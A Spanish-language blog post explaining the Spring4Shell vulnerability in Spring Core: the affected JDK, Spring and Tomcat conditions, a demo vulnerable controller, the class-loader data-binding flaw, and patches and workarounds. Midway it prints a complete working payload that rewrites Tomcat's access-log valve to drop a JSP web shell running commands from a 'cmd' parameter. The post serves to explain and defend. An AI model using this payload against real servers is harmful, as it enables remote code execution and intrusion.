Spring4Shell, el mundo ¿en peligro?

Luciano Salotto
Ingenia, Architectural Journeys
7 min readApr 4, 2022

En noviembre de 2021, la comunidad Java se vió golpeada por una vulnerabilidad 0-day que afectaba a la librería Log4J. El principal problema era la inmensa cantidad de frameworks y aplicaciones que utilizan a log4j como framework de logging. La cosa funcionaba más o menos así: si un sistema estaba utilizando esta librería para loggeo de aplicación, el usuario podía enviar un mensaje especialmente formateado para causar un RCE (Remote Code Execution). El problema estaba en que en su configuración default, log4j realizaba una sustitución de las cadenas de tipo ‘${prefijo:nombre}’. Al especificar que esta expresión fuera un jndi lookup, podíamos especificar una entrada en un LDAP remoto y hacer que se descargue un código de una clase fuente de un servidor malicioso.

Hace unos días, despertamos con otra noticia que en principio parecía tanto (o más) fatal que la de Log4J: una vulnerabilidad en Spring. Spring es el framework de plataforma java más utilizado del mundo. Su popularidad y adopción es tal, que muchas de las características que hoy vemos en la plataforma Java, tomaron como base ideas de Spring. Hubo en principio bastante confusión sobre qué era lo que ocurría. La causa de esto fue que en esos mismos días, se reportaron tres vulnerabilidades contra distintos frameworks de Spring. La primera fue reportada cómo una vulnerabilidad que permite DoS en Spring Expressions. Para sumar aún más confusión, el día 29 de marzo se reportó una vulnerabilidad de RCE en el framework Spring Cloud, causada por Spring Expression. Por último, se reportó en Spring Core, la vulnerabilidad que hoy nos trae aquí: Spring4Shell. Tres vulnerabilidades en tres días, dos de RCE, una de DoS, el framework Spring de por medio… todo era confusión y terror.

GIF de una persona gritando de terror
Sálvese quién pueda!!

¿Es momento de estrellarse las cabezas unos contra otros?

*
Fue la vulnerabilidad en Spring Core la que más temor causó. Los primeros reportes indicaban que se podía generar un RCE mediante un simple post a un servidor corriendo un servicio en Spring (spoiler: no es taaan así, no salgan a chocar cabezas con nadie). Dado que Spring Boot es *casi* un estándar de facto al hablar de microservicios en la plataforma Java, las repercusiones de esto podían llegar a ser desastrosas. Pero entonces, Lucho ¿hay vulnerabilidad o no hay vulnerabilidad? ¿si o no? Sí, pero. El tema es que para que se pueda explotar esta vulnerabilidad, el sistema debe estar corriendo bajo ciertas condiciones “de presión y temperatura”, a saber:

  • JDK 9+
  • Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19 (o versiones más viejas)

Hasta acá, nada que no encontremos en cualquier microservicio que estemos ejecutando con Spring Boot, peeeero:

  • Debe estar empaquetado como un WAR
  • Debe tener spring-webmvc o spring-webflux como dependencias
  • Debe estar corriendo en Tomcat como servlet container

Es por este motivo que decía más arriba que no es taaaan malo el panorama. La vulnerabilidad no se reproduce en servicios corriendo en Spring Boot (por más que el servlet container embebido sea Tomcat). No hay reportes, hasta ahora, de reproducciones en este tipo de entornos.

GIF de Guido Kazcka diciendo “está mal pero no tan mal”
Al final no era para tanto

Y al final… ¿Cómo funciona la vulnerabilidad?

¡Ah, sí! Ya casi me olvidaba de esta parte. La vulnerabilidad hace uso de ClassLoaders, y más allá de que el reporte fue contra un ClassLoader específico de Tomcat, podrían existir otros vectores de ataque aún no descubiertos. Otro punto a notar es que una vulnerabilidad similar se gestó en 2010 para Java Beans API.

El problema se relaciona con el data binding utilizado para crear un objeto a partir de los request params (ya sean parámetros de consulta o datos de un formulario). El data binding se usa para los parámetros del método del controller que se anotan con @ModelAttribute u opcionalmente sin él, y sin ninguna otra anotación de Spring Web. Básicamente, al hacer el binding de los parámetros a las propiedades de nuestro POJO, si inspeccionamos el PropertyDescriptor de éste, aparece el atributo class que hereda de la clase Object, y teniendo acceso a manipular este atributo, tenemos acceso a varias cosas mas.

GIF de Jefe Gorgory de Los Simpsons diciendo “Más despacio, cerebrito”
No se entiende, Walter!

Ok, veámoslo con un ejemplo, y algunas imágenes del debugger. Como vemos en el código siguiente, la reproducción es bastante sencilla, una clase controller que recibe un atributo a ser bindeado, en este caso* un POJO de tipo HelloWorld.Este POJO tiene un único atributo name el cual es utilizado en una vista helloworld.jsp

Nuestro POJO HelloWorld.java

package la.ingenia.spring4shell.model;

public class HelloWorld {
private String name;


public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}
}

El controller HelloWorldController.java, como vemos más abajo, expone un método vulnerable a través del endpoint /spring4shell.

package la.ingenia.spring4shell.controller;

import la.ingenia.spring4shell.model.HelloWorld;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.ModelAttribute;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;

@Controller
public class HelloWorldController {

@RequestMapping("/spring4shell")
public String vulneable(@ModelAttribute("aModelAttribute") HelloWorld hello) {
return "helloworld";
}
}

Cuando invocamos a este endpoint con un query parameter http://localhost:8080/ingenia/spring4shell?name=Luciano, la aplicación responde con la siguiente pantalla

A view of the home page of our application
La pagina de entrada de nuestra aplicación

Si debuggeamos un poco y observamos el PropertyDescriptor de nuestro model attribute,nos daremos cuenta que podemos no sólo acceder a la property name, sino también a la property class.A partir de este punto, será cuestión de comenzar a jugar con estos parámetros hasta encontrar uno que nos resulte interesante. Al llegar a classLoader, encontramos los resources /spring4shell?class.module.classLoader.resources, de tipo org.apache.catalina.WebResourcesRoot. Esto se pone interesante…

Imagen del debugger mostrando la property ‘class’ accesible via el property descriptor
El debugger nos muestra la property ‘class’ siendo accesible

En la documentación de esta interfaz, vemos que representa el conjunto de recursos de una aplicación web. Entre sus métodos, encontramos el contexto de la aplicación a la que pertenece a través de la propiedad context y con esta, obtenemos el parentContainer y de ahí, el pipeline para poder obtener (o setear) el primer valve de ese pipeline. Ahora, se preguntarán ustedes ¿Qué es un pipeline? ¿Qué es un valve?. En Tomcat, un Valve es una clase de Java que se puede insertar en el pipeline de procesamiento de requests. El primer Valve, en la configuración de todo Tomcat, es el AccessLog Valve. La documentación de esta clase, nos indica que la misma se encarga de crear archivos de log. Ahora es solo cuestión de manipular sus métodos… y alguien cláramente ya lo hizo (disclaimer: no fui yo, no soy tan inteligente :( )

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20–1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Diclass.module.classLoader.resources.context.parent.pipeline.first.suffix=.jspclass.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOTclass.module.classLoader.resources.context.parent.pipeline.first.prefix=shellclass.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

Al invocar el endpoint /spring4shell con esos parámetros se crea un archivo shell.jsp en el directorio webapps/ROOT. Contamos entonces con otro endpoint para poder invocar /shell.jsp.

El contenido del archivo que pasamos en el parámetro pattern de nuestra llamada anterior es el código de nuestro jsp, el cual procesa un parámetro que se recibe por la url con un comando a ejecutar.

Podemos ahora hacer uso de nuestro exploit, haciendo una invocación al siguiente endpoint http://localhost:8080/shell.jsp?cmd=id

ET VOILÀ!! nos va a responder indicando nuestro la información de id de usuario.. En la siguiente imagen podemos ver que ejecutamos el request y en nuestro webapps/ROOT se creó el archivo shell.jsp

Y ahora…¿quién podrá ayudarnos?

Si bien el exploit existe -y es bastante grave, digamos todo-, la gente de Spring ya sacó los correspondientes fixes a su framework por lo que con solo actualizar a la última versión disponible de Spring estamos cubiertos y seguros. Como siempre, existen contextos donde por distintos motivos no podemos actualizar a la última versión, para estos hay algunos workarounds posibles como ser:

  • Actualizar Tomcat: la gente de apache ya sacó un fix para evitar que se pueda manipular el Access Log Valve mediante estos exploits.
  • Bajar la versión a la versión de la JDK 8, recordemos que afecta JDK9+
  • Deshabilitar programáticamente la posibilidad de bindear variables de determinados tipos, utilizando un WebDataBinder customizado. Podemos ver un ejemplo de esto en el posteo de Spring.io acerca de la vulnerabilidad.

--

--